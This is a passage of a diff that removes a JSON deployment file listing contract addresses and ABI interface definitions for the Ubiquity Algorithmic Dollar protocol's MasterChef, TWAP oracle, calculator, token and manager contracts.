- "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "MasterChef": { - "address": "0x8fFCf9899738e4633A721904609ffCa0a2C44f3D", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "Deposit", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "Withdraw", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "deposit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "getRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "lastPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "minPriceDiffToUpdateMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_user", - "type": "address" - } - ], - "name": "pendingUGOV", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pool", - "outputs": [ - { - "internalType": "uint256", - "name": "lastRewardBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "accuGOVPerShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_minPriceDiffToUpdateMultiplier", - "type": "uint256" - } - ], - "name": "setMinPriceDiffToUpdateMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "setUGOVPerBlock", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVPerBlock", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVmultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "userInfo", - "outputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "rewardDebt", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "MasterChefV2": { - "address": "0xdae807071b5AC7B6a2a343beaD19929426dBC998", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "address[]", - "name": "_tos", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "_amounts", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "_bondingShareIDs", - "type": "uint256[]" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "bondingShareId", - "type": "uint256" - } - ], - "name": "Deposit", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "uint256", - "name": "minPriceDiffToUpdateMultiplier", - "type": "uint256" - } - ], - "name": "MinPriceDiffToUpdateMultiplierModified", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "uint256", - "name": "uGOVPerBlock", - "type": "uint256" - } - ], - "name": "UGOVPerBlockModified", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "bondingShareId", - "type": "uint256" - } - ], - "name": "Withdraw", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_bondingShareID", - "type": "uint256" - } - ], - "name": "deposit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "getBondingShareInfo", - "outputs": [ - { - "internalType": "uint256[2]", - "name": "", - "type": "uint256[2]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "bondingShareID", - "type": "uint256" - } - ], - "name": "getRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "lastPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "minPriceDiffToUpdateMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "bondingShareID", - "type": "uint256" - } - ], - "name": "pendingUGOV", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pool", - "outputs": [ - { - "internalType": "uint256", - "name": "lastRewardBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "accuGOVPerShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_minPriceDiffToUpdateMultiplier", - "type": "uint256" - } - ], - "name": "setMinPriceDiffToUpdateMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "setUGOVPerBlock", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVDivider", - "type": "uint256" - } - ], - "name": "setUGOVShareForTreasury", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "totalShares", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVDivider", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVPerBlock", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVmultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_bondingShareID", - "type": "uint256" - } - ], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "TWAPOracle": { - "address": "0x7944d5b8f9668AfB1e648a61e54DEa8DE734c1d1", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_pool", - "type": "address" - }, - { - "internalType": "address", - "name": "_uADtoken0", - "type": "address" - }, - { - "internalType": "address", - "name": "_curve3CRVtoken1", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "token", - "type": "address" - } - ], - "name": "consult", - "outputs": [ - { - "internalType": "uint256", - "name": "amountOut", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pool", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "price0Average", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "price1Average", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "priceCumulativeLast", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pricesBlockTimestampLast", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "token0", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "token1", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "update", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "UARForDollarsCalculator": { - "address": "0x75d6F33BcF784504dA74e4aD60c677CD1fD3e2d5", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [], - "name": "getConstant", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "dollarsToBurn", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "blockHeightDebt", - "type": "uint256" - } - ], - "name": "getUARAmount", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "coef", - "type": "uint256" - } - ], - "name": "setConstant", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "UbiquityAlgorithmicDollar": { - "address": "0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_burned", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Burning", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_incentivized", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_incentiveContract", - "type": "address" - } - ], - "name": "IncentiveContractUpdate", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_minter", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Minting", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "DOMAIN_SEPARATOR", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PERMIT_TYPEHASH", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "decimals", - "outputs": [ - { - "internalType": "uint8", - "name": "", - "type": "uint8" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "incentiveContract", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "addedValue", - "type": "uint256" - } - ], - "name": "increaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "nonces", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "deadline", - "type": "uint256" - }, - { - "internalType": "uint8", - "name": "v", - "type": "uint8" - }, - { - "internalType": "bytes32", - "name": "r", - "type": "bytes32" - }, - { - "internalType": "bytes32", - "name": "s", - "type": "bytes32" - } - ], - "name": "permit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "incentive", - "type": "address" - } - ], - "name": "setIncentiveContract", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newName", - "type": "string" - } - ], - "name": "setName", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newSymbol", - "type": "string" - } - ], - "name": "setSymbol", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transfer", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "UbiquityAlgorithmicDollarManager": { - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_admin", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "bytes32", - "name": "previousAdminRole", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "bytes32", - "name": "newAdminRole", - "type": "bytes32" - } - ], - "name": "RoleAdminChanged", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "RoleGranted", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "RoleRevoked", - "type": "event" - }, - { - "inputs": [], - "name": "BONDING_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "COUPON_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "DEFAULT_ADMIN_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "INCENTIVE_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PAUSER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "UBQ_BURNER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "UBQ_MINTER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "UBQ_TOKEN_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "autoRedeemTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingContractAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingShareAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "couponCalculatorAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "curve3PoolTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "debtCouponAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_curveFactory", - "type": "address" - }, - { - "internalType": "address", - "name": "_crvBasePool", - "type": "address" - }, - { - "internalType": "address", - "name": "_crv3PoolTokenAddress", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amplificationCoefficient", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_fee", - "type": "uint256" - } - ], - "name": "deployStableSwapPool", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "dollarMintingCalculatorAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "dollarTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "formulasAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_debtCouponManagerAddress", - "type": "address" - } - ], - "name": "getExcessDollarsDistributor", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - } - ], - "name": "getRoleAdmin", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "governanceTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "grantRole", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "hasRole", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "masterChefAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "renounceRole", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "revokeRole", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_bondingContractAddress", - "type": "address" - } - ], - "name": "setBondingContractAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_bondingShareAddress", - "type": "address" - } - ], - "name": "setBondingShareAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_couponCalculatorAddress", - "type": "address" - } - ], - "name": "setCouponCalculatorAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_debtCouponAddress", - "type": "address" - } - ], - "name": "setDebtCouponAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_dollarMintingCalculatorAddress", - "type": "address" - } - ], - "name": "setDollarMintingCalculatorAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_dollarTokenAddress", - "type": "address" - } - ], - "name": "setDollarTokenAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "debtCouponManagerAddress", - "type": "address" - }, - { - "internalType": "address", - "name": "excessCouponDistributor", - "type": "address" - } - ], - "name": "setExcessDollarsDistributor", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_formulasAddress", - "type": "address" - } - ], - "name": "setFormulasAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_governanceTokenAddress", - "type": "address" - } - ], - "name": "setGovernanceTokenAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_account", - "type": "address" - }, - { - "internalType": "address", - "name": "_incentiveAddress", - "type": "address" - } - ], - "name": "setIncentiveToUAD", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_masterChefAddress", - "type": "address" - } - ], - "name": "setMasterChefAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_stableSwapMetaPoolAddress", - "type": "address" - } - ], - "name": "setStableSwapMetaPoolAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_sushiSwapPoolAddress", - "type": "address" - } - ], - "name": "setSushiSwapPoolAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_treasuryAddress", - "type": "address" - } - ], - "name": "setTreasuryAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_twapOracleAddress", - "type": "address" - } - ], - "name": "setTwapOracleAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_uarCalculatorAddress", - "type": "address" - } - ], - "name": "setUARCalculatorAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_uarTokenAddress", - "type": "address" - } - ], - "name": "setuARTokenAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "stableSwapMetaPoolAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": 